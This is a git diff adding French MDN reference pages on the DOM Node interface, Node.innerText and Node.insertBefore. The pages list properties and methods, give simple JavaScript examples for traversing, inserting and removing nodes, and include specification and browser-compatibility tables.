+ <dt>{{DOMxRef("Node.parentNode")}}{{readonlyInline}}</dt>
+ <dd>Retourne un {{domxref("Node")}} qui est le parent de ce nœud. S'il n'existe pas, parce qu'il est en haut de l'arbre ou parce qu'il ne participe pas à un arbre, cette propriété retourne <code>null</code> .</dd>
+ <dt>{{DOMxRef("Node.parentElement")}}{{readonlyInline}}</dt>
+ <dd>Retourne un {{domxref("Element")}} qui est le parent de ce nœud. <span id="result_box" lang="fr"><span>Si le nœud n'a aucun parent ou si ce parent n'est pas un </span></span> {{domxref("Element")}} , cette propriété retourne <code>null</code>.</dd>
+ <dt>{{DOMxRef("Node.previousSibling")}}{{readonlyInline}}</dt>
+ <dd>Retourne un {{domxref("Node")}} représentant le nœud précédent dans l'arbre ou  <code>null</code> s'il n'y en a pas.</dd>
+ <dt>{{DOMxRef("Node.textContent")}}</dt>
+ <dd>Retourne / définit <span id="result_box" lang="fr"><span>le contenu textuel d'un élément et de tous ses descendants.</span></span></dd>
+</dl>
+
+<dl>
+</dl>
+
+<h3 id="Propriétés_obsolètes">Propriétés obsolètes</h3>
+
+<dl>
+ <dt>{{DOMxRef("Node.localName")}} {{obsolete_inline}}{{readonlyInline}}</dt>
+ <dd>Retourne un {{domxref("DOMString")}}  représentant <span class="short_text" id="result_box" lang="fr"><span>la partie locale du nom d'un élément.</span></span></dd>
+</dl>
+
+<div class="note">
+<p><strong>Note :</strong> <span id="result_box" lang="fr"><span>Dans Firefox 3.5 et versions antérieures, la propriété saisit le nom local pour les éléments HTML (mais pas les éléments XHTML).</span> <span>Dans les versions ultérieures, cela ne se produit pas, donc la propriété est en minuscule pour HTML et XHTML.</span></span> {{gecko_minversion_inline("1.9.2")}}</p>
+</div>
+
+<dl>
+ <dt>{{DOMxRef("Node.namespaceURI")}} {{obsolete_inline}}{{readonlyInline}}</dt>
+ <dd>L'URI du "Namespace" de ce nom, ou  <code>null</code> s'il n'y en a pas.</dd>
+</dl>
+
+<div class="note">
+<p>Note : Dans Firefox 3.5 et versions antérieures, les éléments HTML ne contiennent aucun "namespace". Dans les versions ultérieures, les éléments HTML sont dans le "namespace" <code><a class="linkification-ext external external-icon" href="https://www.w3.org/1999/xhtml/" title="Linkification: http://www.w3.org/1999/xhtml">https://www.w3.org/1999/xhtml/</a></code>  <span class="short_text" id="result_box" lang="fr"><span>pour HTML et XML. </span></span> {{gecko_minversion_inline("1.9.2")}}</p>
+</div>
+
+<dl>
+ <dt>{{DOMxRef("Node.prefix")}} {{obsolete_inline}}{{readonlyInline}}</dt>
+ <dd>Est une {{domxref("DOMString")}} représentant le préfixe de l'espace de nom du nœud ou <code>null</code>  si aucun préfixe n'est spécifié.</dd>
+ <dt>{{DOMxRef("Node.nodePrincipal")}} {{Non-standard_inline}}{{Obsolete_Inline("gecko46")}}{{Fx_MinVersion_Inline("3")}}</dt>
+ <dd>Un {{Interface("nsIPrincipal")}} représentant le nœud principal.</dd>
+ <dt>{{DOMxRef("Node.rootNode")}} {{Obsolete_Inline}}{{ReadOnlyInline}}</dt>
+ <dd>Retourne un objet {{DOMxRef("Node")}} représentant le noeud le plus haut dans l'arbre ou le noeud en cours s'il est le noeud le plus haut de l'arbre. Cette propriété a été remplacée par {{DOMxRef("Node.getRootNode()")}}.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p><em>Hérite des méthodes de son parent {{domxref("EventTarget")}}</em>.<sup>[1]</sup></p>
+
+<dl>
+ <dt>{{DOMxRef("Node.appendChild()", "Node.appendChild(<var>childNode</var>)")}}</dt>
+ <dd>Ajoute l'argument <code>childNode</code> spécifié comme dernier enfant au noeud actuel.<br>
+ Si l'argument fait référence à un noeud existant sur l'arborescence DOM, le nœud sera détaché de sa position actuelle et attaché à la nouvelle position.</dd>
+ <dt>{{DOMxRef("Node.cloneNode()")}}</dt>
+ <dd>Clône un {{domxref("Node")}} et, éventuellement, tout son contenu. Par défaut, il duplique le contenu de ce nœud.</dd>
+ <dt>{{DOMxRef("Node.compareDocumentPosition()")}}</dt>
+ <dd>Compare la position du nœud courant par rapport à un autre nœud dans tout autre document.</dd>
+ <dt>{{DOMxRef("Node.contains()")}}</dt>
+ <dd>Retourne une valeur {{jsxref("Boolean")}} (<em>booléen</em>) <span id="result_box" lang="fr"><span>indiquant si un noeud est un descendant d'un noeud donné ou non.</span></span></dd>
+ <dt>{{domxref("Node.getBoxQuads()")}} {{experimental_inline}}</dt>
+ <dd>Retourne une liste des boites CSS des nœuds relatifs à un autre nœud.</dd>
+ <dt>{{DOMxRef("Node.getRootNode()")}}</dt>
+ <dd><span id="result_box" lang="fr"><span>Retourne la racine de l'objet contextuel qui comprend éventuellement la "Shadow root" si elle est disponible.</span></span></dd>
+ <dt>{{DOMxRef("Node.hasChildNodes()")}}</dt>
+ <dd>Retourne un {{jsxref("Boolean")}} (<em>booléen</em>) indiquant si l'élément a des<span id="result_box" lang="fr"><span> noeuds enfants ou non.</span></span></dd>
+ <dt>{{DOMxRef("Node.insertBefore()")}}</dt>
+ <dd>Insère un {{domxref("Node")}} avant <span id="result_box" lang="fr"><span>le nœud de référence en tant qu'enfant du noeud actuel.</span></span></dd>
+ <dt>{{DOMxRef("Node.isDefaultNamespace()")}}</dt>
+ <dd>Accepte une URI d'espace de nom comme argument et retourne une valeur {{jsxref("Boolean")}} avec <code>true</code> (<em>vrai</em>) si l'espace de nom est celui par défaut du noeud donné ou <code>false</code> (<em>faux</em>) sinon.</dd>
+ <dt>{{DOMxRef("Node.isEqualNode()")}}</dt>
+ <dd>Retourne une valeur {{jsxref("Boolean")}} (<em>booléenne</em>) qui indique si oui ou non deux noeuds sont du même type et si tous leurs points de données définis correspondent.</dd>
+ <dt>{{DOMxRef("Node.isSameNode()")}}</dt>
+ <dd>Retourne une valeur {{jsxref("Boolean")}} (<em>booléenne</em>) indiquant si les deux noeuds sont ou non identiques (c'est-à-dire qu'ils font référence au même objet).</dd>
+ <dt>{{DOMxRef("Node.lookupPrefix()")}}</dt>
+ <dd>Retourne une {{domxref("DOMString")}} (<em>chaîne de caractères</em>) contenant le préfixe d'une URI d'un espace de nom donné, s'il est présent, et <code>null</code> sinon.</dd>
+ <dt>{{DOMxRef("Node.lookupNamespaceURI()")}}</dt>
+ <dd>Accepte un préfixe et retourne l'URI de l'espace de noms qui lui est associé sur le nœud donné s'il le trouve, <code>null</code> sinon. Fournir <code>null</code> comme préfixe retournera l'espace de noms par défaut.</dd>
+ <dt>{{DOMxRef("Node.normalize()")}}</dt>
+ <dd>Nettoye tous les nœuds de texte en-dessous de cet élément (fusionne adjacent, supprime vide).</dd>
+ <dt>{{DOMxRef("Node.removeChild()")}}</dt>
+ <dd>Supprime un nœud enfant, depuis l'élément courant, qui doit être un enfant de ce nœud.</dd>
+ <dt>{{DOMxRef("Node.replaceChild()")}}</dt>
+ <dd>Remplace un {{domxref("Node")}} enfant du nœud courant par celui donné dans le paramètre.</dd>
+</dl>
+
+<h3 id="Méthodes_obsolètes">Méthodes obsolètes</h3>
+
+<dl>
+ <dt>{{domxref("Node.getFeature()")}} {{obsolete_inline}}</dt>
+ <dd>Permet à un utilisateur d'obtenir un objet {{DOMxRef("DOMUserData")}} à partir du nœud fourni.</dd>
+ <dt>{{domxref("Node.getUserData()")}} {{obsolete_inline}}</dt>
+ <dd><span id="result_box" lang="fr"><span>Permet à un utilisateur d'obtenir une {{domxref ("DOMUserData")}} (<em>donnée utilisateur</em>) à partir du </span></span>nœud<span lang="fr"><span>.</span></span></dd>
+ <dt>{{domxref("Node.hasAttributes()")}} {{obsolete_inline}}</dt>
+ <dd>Retourne un {{jsxref("Boolean")}} <span id="result_box" lang="fr"><span>indiquant si l'élément possède des attributs ou non.</span></span></dd>
+ <dt>{{domxref("Node.isSupported()")}} {{obsolete_inline}}</dt>
+ <dd>Retourne une marque {{jsxref("Boolean")}} qui contient le résultat d'un test <span id="result_box" lang="fr"><span>si l'implémentation DOM prend en compte une caractéristique spécifique et si cette fonctionnalité est prise en charge par le </span></span>nœud<span lang="fr"><span> spécifique.</span></span></dd>
+ <dt>{{domxref("Node.setUserData()")}} {{obsolete_inline}}</dt>
+ <dd><span class="short_text" id="result_box" lang="fr"><span>Permet à un utilisateur d'attacher ou d'enlever </span></span> {{domxref("DOMUserData")}} du nœud.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Parcourir_tous_les_nœuds_enfants"><span class="short_text" id="result_box" lang="fr"><span>Parcourir tous les nœuds enfants</span></span></h3>
+
+<p>La fonction suivante parcourt de manière récursive tous les nœuds enfants d'un noeud et exécute une fonction de rappel sur eux (et sur le nœud parent lui-même).</p>
+
+<pre class="brush: js line-numbers  language-js notranslate"><code class="language-js"><span class="keyword token">function</span> DOMComb <span class="punctuation token">(</span>oParent<span class="punctuation token">,</span> oCallback<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">if</span> <span class="punctuation token">(</span>oParent<span class="punctuation token">.</span><span class="function token">hasChildNodes</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    <span class="keyword token">for</span> <span class="punctuation token">(</span><span class="keyword token">var</span> oNode <span class="operator token">=</span> oParent<span class="punctuation token">.</span>firstChild<span class="punctuation token">;</span> oNode<span class="punctuation token">;</span> oNode <span class="operator token">=</span> oNode<span class="punctuation token">.</span>nextSibling<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+      <span class="function token">DOMComb</span><span class="punctuation token">(</span>oNode<span class="punctuation token">,</span> oCallback<span class="punctuation token">)</span><span class="punctuation token">;</span>
+    <span class="punctuation token">}</span>
+  <span class="punctuation token">}</span>
+  oCallback<span class="punctuation token">.</span><span class="function token">call</span><span class="punctuation token">(</span>oParent<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<h4 id="Syntaxe">Syntaxe</h4>
+
+<pre class="syntaxbox notranslate">DOMComb(parentNode, callbackFunction);</pre>
+
+<h4 id="Description">Description</h4>
+
+<p>Suit le cycle récursif de tous les nœuds enfants d'un <code>parentNode</code> et le <code>parentNode</code> lui-même, et exécute la fonction <code>callbackFunction</code> (<em>rappel</em>) sur eux comme un objet <a href="https://developer.mozilla.org/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/L_op%C3%A9rateur_this" title="en-US/docs/JavaScript/Reference/Operators/this"><code>this</code></a>.</p>
+
+<h4 id="Paramètres">Paramètres</h4>
+
+<dl>
+ <dt><code>parentNode</code></dt>
+ <dd>Le nœud parent (<code><strong>Node</strong> <a href="https://developer.mozilla.org/fr/docs/Web/JavaScript/Reference/Objets_globaux/Object" title="en-US/docs/JavaScript/Reference/Global_Objects/Object">Object</a></code>)</dd>
+ <dt><code>callbackFunction</code></dt>
+ <dd>La fonction de rappel (<a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function" title="en-US/docs/JavaScript/Reference/Global_Objects/Function"><code>Function</code></a>).</dd>
+</dl>
+
+<h4 id="Exemples_dutilisation">Exemples d'utilisation</h4>
+
+<p><span id="result_box" lang="fr"><span>L'exemple suivant envoie à la <code>console.log</code> le contenu texte du corps :</span></span></p>
+
+<pre class="brush: js line-numbers  language-js notranslate"><code class="language-js"><span class="keyword token">function</span> printContent <span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">if</span> <span class="punctuation token">(</span><span class="keyword token">this</span><span class="punctuation token">.</span>nodeValue<span class="punctuation token">)</span> <span class="punctuation token">{</span> console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span><span class="keyword token">this</span><span class="punctuation token">.</span>nodeValue<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="punctuation token">}</span>
+<span class="punctuation token">}</span>
+
+onload <span class="operator token">=</span> <span class="keyword token">function</span> <span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="function token">DOMComb</span><span class="punctuation token">(</span>document<span class="punctuation token">.</span>body<span class="punctuation token">,</span> printContent<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span><span class="punctuation token">;</span></code></pre>
+
+<h3 id="Supprimer_tous_les_enfants_imbriqués_dans_un_nœud">Supprimer tous les enfants imbriqués dans un nœud</h3>
+
+<pre class="brush: js line-numbers  language-js notranslate"><code class="language-js">Element<span class="punctuation token">.</span>prototype<span class="punctuation token">.</span>removeAll <span class="operator token">=</span> <span class="keyword token">function</span> <span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">while</span> <span class="punctuation token">(</span><span class="keyword token">this</span><span class="punctuation token">.</span>firstChild<span class="punctuation token">)</span> <span class="punctuation token">{</span> <span class="keyword token">this</span><span class="punctuation token">.</span><span class="function token">removeChild</span><span class="punctuation token">(</span><span class="keyword token">this</span><span class="punctuation token">.</span>firstChild<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="punctuation token">}</span>
+  <span class="keyword token">return</span> <span class="keyword token">this</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span><span class="punctuation token">;</span></code></pre>
+
+<h4 id="Exemple_dutilisation">Exemple d'utilisation</h4>
+
+<pre class="brush: js line-numbers  language-js notranslate"><code class="language-js"><span class="comment token">/* ... an alternative to document.body.innerHTML = "" ... */</span>
+document<span class="punctuation token">.</span>body<span class="punctuation token">.</span><span class="function token">removeAll</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#interface-node', 'Node')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td><span class="short_text" id="result_box" lang="fr"><span>Supprime les propriétés suivantes :</span></span> <code>attributes</code>, <code>namespaceURI</code>, <code>prefix</code>, et <code>localName</code>.<br>
+    Supprime les méthodes suivantes : <code>isSupported()</code>, <code>hasAttributes()</code>, <code>getFeature()</code>, <code>setUserData()</code>, et <code>getUserData()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#ID-1950641247', 'Node')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Les méthodes <code>insertBefore()</code>, <code>replaceChild()</code>, <code>removeChild()</code>, et<code>appendChild()</code> renvoient un autre type d'erreur (<code>NOT_SUPPORTED_ERR</code>) si elles sont appelées par {{domxref("Document")}}.<br>
+    La méthode <code>normalize()</code>  a été modifiée, ainsi ce mode {{domxref("Text")}} peut aussi être normalisé si la marque {{domxref("DOMConfiguration")}} est définie.<br>
+    Ajout des méthodes suivantes : <code>compareDocumentPosition()</code>, <code>isSameNode()</code>, <code>lookupPrefix()</code>, <code>isDefaultNamespace()</code>, <code>lookupNamespaceURI()</code>, <code>isEqualNode()</code>, <code>getFeature()</code>, <code>setUserData()</code>, et <code>getUserData().</code><br>
+    Ajout des propriétés suivantes : <code>baseURI</code> et <code>textContent</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-1950641247', 'Node')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>La propriété <code>ownerDocument</code>a été légèrement modifiée pour que  {{domxref("DocumentFragment")}} renvoie également <code>null</code>.<br>
+    Ajout des propriétés suivantes : <code>namespaceURI</code>, <code>prefix</code>, et <code>localName</code>.<br>
+    Ajout des méthodes suivantes : <code>normalize()</code>, <code>isSupported()</code> et <code>hasAttributes()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-core.html#ID-1950641247', 'Node')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.Node")}}</p>
+
+<div id="compat-desktop"></div>
diff --git a/files/fr/web/api/node/innertext/index.html b/files/fr/web/api/node/innertext/index.html
new file mode 100644
index 0000000000..6b9d530411
--- /dev/null
+++ b/files/fr/web/api/node/innertext/index.html
@@ -0,0 +1,42 @@
+---
+title: Node.innerText
+slug: Web/API/Node/innerText
+translation_of: Web/API/HTMLElement/innerText
+---
+<div>{{APIRef("DOM")}}</div>
+
+<h2 id="Sommaire">Sommaire</h2>
+
+<p><code><strong>Node.innerText</strong></code> est une propriété représentant le contenu textuel « visuellement rendu » d’un nœud. Utilisé en lecture, il renvoie une approximation du texte que l’utilisateur ou utilisatrice obtiendrait s’il ou elle sélectionnnait le contenu d’un élément avec le curseur, et le copiait dans le presse-papier.</p>
+
+<p>{{domxref("Node.textContent")}} est une alternative similaire, bien qu’il y ait d’importantes différences entre les deux.</p>
+
+<h2 id="Spécification">Spécification</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'dom.html#the-innertext-idl-attribute', 'innerText')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Introduction basée sur le <a href="https://github.com/rocallahan/innerText-spec" lang="en">brouillon de spécification de innerText</a>. Voir <a href="https://github.com/whatwg/html/issues/465">whatwg/html#465</a> et <a href="https://github.com/whatwg/compat/issues/5">whatwg/compat#5</a> pour l’histoire.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.Node.innerText")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("HTMLElement.outerText")}}</li>
+ <li>{{domxref("Element.innerHTML")}}</li>
+</ul>
diff --git a/files/fr/web/api/node/insertbefore/index.html b/files/fr/web/api/node/insertbefore/index.html
new file mode 100644
index 0000000000..c66b4b3200
--- /dev/null
+++ b/files/fr/web/api/node/insertbefore/index.html
@@ -0,0 +1,214 @@
+---
+title: element.insertBefore
+slug: Web/API/Node/insertBefore
+tags:
+  - API
+  - DOM
+  - Enfant
+  - Insertion
+  - Méthodes
+  - Noeud
+translation_of: Web/API/Node/insertBefore
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>La méthode <code><strong>Node.insertBefore()</strong></code> insère un nœud juste avant le noeud de référence en tant qu'enfant du nœud parent spécifié. Si l'enfant donné est une référence à un noeud existant dans le document, <code>insertBefore()</code> le déplace vers sa nouvelle position (il n'est pas nécessaire de supprimer le noeud de son parent avant son ajout à un autre noeud).</p>
+
+<p>Cela signifie que le noeud ne peut pas être à 2 points du document simultanément. Donc, si le noeud a déjà un parent, le noeud est d'abord supprimé puis inséré dans la nouvelle position. La méthode {{domxref("Node.cloneNode()")}}  peut être utilisée pour réaliser une copie du noeud avant son ajout sous le nouveau parent. Notez que les copies faites avec <code>cloneNode</code> ne seront pas automatiquement synchronisées.</p>
+
+<p>Si le noeud de référence est <code>null</code> , le noeud spécifié est ajouté à la fin de la liste des enfants du noeud parent spécifié.</p>
+
+<p>Si l'enfant donné est un {{domxref("DocumentFragment")}}, le contenu entier du {{domxref("DocumentFragment")}} est déplacé dans la liste des enfants du noeud parent spécifié.</p>
+
+<h2 id="Syntaxe" name="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var <em>insertedNode</em> = <em>parentNode</em>.insertBefore(<em>newNode</em>, <em>referenceNode</em>);
+</pre>
+
+<p>Si  <code><var>referenceNode</var></code>  vaut <code>null</code>,  <code><var>newNode</var></code>  est inséré à la fin de la liste des nœuds enfants.</p>
+
+<div class="note">
+<p><em><code>referenceNode</code></em> <strong>n'est pas</strong> un paramètre facultatif -- vous devez explicitement transmettre un <code>Node</code> ou <code>null</code>. Ne pas le fournir ou transmettre des valeurs invalides provoque des <a href="https://code.google.com/p/chromium/issues/detail?id=419780">comportements différents</a> selon les différentes versions des navigateurs.</p>
+</div>
+
+<h2 id="Exemple" name="Exemple">Valeur retournée</h2>
+
+<p>La valeur renvoyée est l'enfant ajouté sauf si le <code>newNode</code> est un {{domxref("DocumentFragment")}}, auquel cas, le {{domxref("DocumentFragment")}}  vide est retourné.</p>
+
+<h2 id="Exemple" name="Exemple">Exemple</h2>
+
+<pre class="brush: html line-numbers  language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>parentElement<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+   <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>span</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>childElement<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>foo bar<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>span</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>script</span><span class="punctuation token">&gt;</span></span><span class="language-javascript script token">
+<span class="comment token">// Crée un nouveau noeud à insérer</span>
+<span class="keyword token">var</span> newNode <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">createElement</span><span class="punctuation token">(</span><span class="string token">"span"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+<span class="comment token">// Obtient une référence sur le noeud parent</span>
+<span class="keyword token">var</span> parentDiv <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">"childElement"</span><span class="punctuation token">)</span><span class="punctuation token">.</span>parentNode<span class="punctuation token">;</span>
+
+<span class="comment token">// Commence le cas test [ 1 ] : un childElement existe --&gt; tout fonctionne correctement</span>
+<span class="keyword token">var</span> sp2 <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">"childElement"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+parentDiv<span class="punctuation token">.</span><span class="function token">insertBefore</span><span class="punctuation token">(</span>newNode<span class="punctuation token">,</span> sp2<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="comment token">// Fin du cas test [ 1 ]</span>
+
+<span class="comment token">// Commence le cas test [ 2 ] : childElement est d'un Type indéfini</span>
+<span class="keyword token">var</span> sp2 <span class="operator token">=</span> undefined<span class="punctuation token">;</span> <span class="comment token">// Il n'existe pas de noeud à l'ID "childElement"</span>
+parentDiv<span class="punctuation token">.</span><span class="function token">insertBefore</span><span class="punctuation token">(</span>newNode<span class="punctuation token">,</span> sp2<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// Fusion dynamique implicite pour le type du noeud</span>
+<span class="comment token">// Fin du cas test [ 2 ]</span>
+
+<span class="comment token">// Commence le cas test [ 3 ] : childElement est d'un Type "undefined" (string) (<em>chaîne de caractères</em>)</span>
+<span class="keyword token">var</span> sp2 <span class="operator token">=</span> <span class="string token">"undefined"</span><span class="punctuation token">;</span> <span class="comment token">// </span></span></code> <code class="language-html"><span class="language-javascript script token"><span class="comment token">Il n'existe pas de noeud à l'ID "childElement"</span></span></code> <code class="language-html"><span class="language-javascript script token">
+parentDiv<span class="punctuation token">.</span><span class="function token">insertBefore</span><span class="punctuation token">(</span>newNode<span class="punctuation token">,</span> sp2<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// Génère "Type Error: Invalid Argument" (<em>Erreur du Type : Argument non valide</em>) </span>
+<span class="comment token">// Fin du cas test [ 3 ]</span>
+</span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>script</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<p> </p>
+
+<ul>
+ <li><code>insertedNode</code> Le noeud en cours d'insertion, c'est-à-dire <code>newNode</code></li>
+ <li><code>parentNode</code> Le parent du nouveau noeud inséré.</li>
+ <li><code>newNode</code> Le noeud à insérer.</li>
+ <li><code>referenceNode</code> Le noeud devant lequel le <code>newNode</code> est inséré.</li>
+</ul>
+
+<h2 id="Exemple_2">Exemple</h2>
+
+<pre class="brush:html line-numbers  language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>parentElement<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>span</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>childElement<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>foo bar<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>span</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>script</span><span class="punctuation token">&gt;</span></span><span class="language-javascript script token">
+<span class="comment token">// Crée un nouvel élément &lt;span&gt; simple</span>
+<span class="keyword token">var</span> sp1 <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">createElement</span><span class="punctuation token">(</span><span class="string token">"span"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+<span class="comment token">// Obtient une référence à l'élément avant lequel nous voulons insérer</span>
+<span class="keyword token">var</span> sp2 <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">"childElement"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="comment token">// Obtient une référence à l'élément parent</span>
+<span class="keyword token">var</span> parentDiv <span class="operator token">=</span> sp2<span class="punctuation token">.</span>parentNode<span class="punctuation token">;</span>
+
+<span class="comment token">// Insère le nouvel élément dans le DOM avant sp2</span>
+parentDiv<span class="punctuation token">.</span><span class="function token">insertBefore</span><span class="punctuation token">(</span>sp1<span class="punctuation token">,</span> sp2<span class="punctuation token">)</span><span class="punctuation token">;</span>
+</span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>script</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<p>Il n'existe pas de méthode <code>insertAfter</code>. Il peut être émulé avec une combinaison des méthodes <code>insertBefore</code><a class="internal" href="/fr/DOM/element.insertBefore" title="fr/DOM/element.insertBefore"> </a>et <code><a href="https://developer.mozilla.org/fr/docs/Web/API/Node/nextSibling" title="fr/DOM/element.nextSibling">nextSibling</a></code>.</p>
+
+<p>Dans l'exemple ci-dessus, <code>sp1</code> pourrait être inséré après <code>sp2</code> en utilisant :</p>
+
+<pre class="brush:js">parentDiv.insertBefore(sp1, sp2.nextSibling);
+</pre>
+
+<p>Si <code>sp2</code> n'a pas d'enfant suivant, c'est qu'il est le dernier enfant. Dans ce cas, <code>sp2.nextSibling</code> renverra <code>null</code> et <code>sp1</code> sera donc inséré à la fin de la liste des nœuds enfants (c'est-à-dire immédiatement après <code>sp2</code>).</p>
+
+<h2 id="Exemple_3">Exemple</h2>
+
+<p>Insérer un élément avant le premier élément enfant en utilisant la propriété <a href="https://developer.mozilla.org/fr/docs/Web/API/Node/firstChild" title="Node.firstChild">firstChild</a>.</p>
+
+<pre class="brush:js line-numbers  language-js"><code class="language-js"><span class="comment token">// Obtenir une référence à l'élément dans lequel nous voulons insérer un nouveau noeud</span>
+<span class="keyword token">var</span> parentElement <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">'parentElement'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="comment token">// Obtenir une référence au premier enfant</span>
+<span class="keyword token">var</span> theFirstChild <span class="operator token">=</span> parentElement<span class="punctuation token">.</span>firstChild<span class="punctuation token">;</span>
+
+<span class="comment token">// Créer un nouvel élément</span>
+<span class="keyword token">var</span> newElement <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">createElement</span><span class="punctuation token">(</span><span class="string token">"div"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+<span class="comment token">// Insérer le nouvel élément avant le premier enfant</span>
+parentElement<span class="punctuation token">.</span><span class="function token">insertBefore</span><span class="punctuation token">(</span>newElement<span class="punctuation token">,</span> theFirstChild<span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<p>Si l'élément n'a pas de premier enfant, alors <code>firstChild</code> est <code>null</code>. L'élément est toujours ajouté au parent après le dernier enfant. Comme l'élément parent n'avait pas de premier enfant, il n'avait pas non plus de dernier enfant. Par conséquent, le nouvel élément est le seul élément, après l'insertion.</p>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable()}}</p>
+
+<div id="compat-desktop">
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
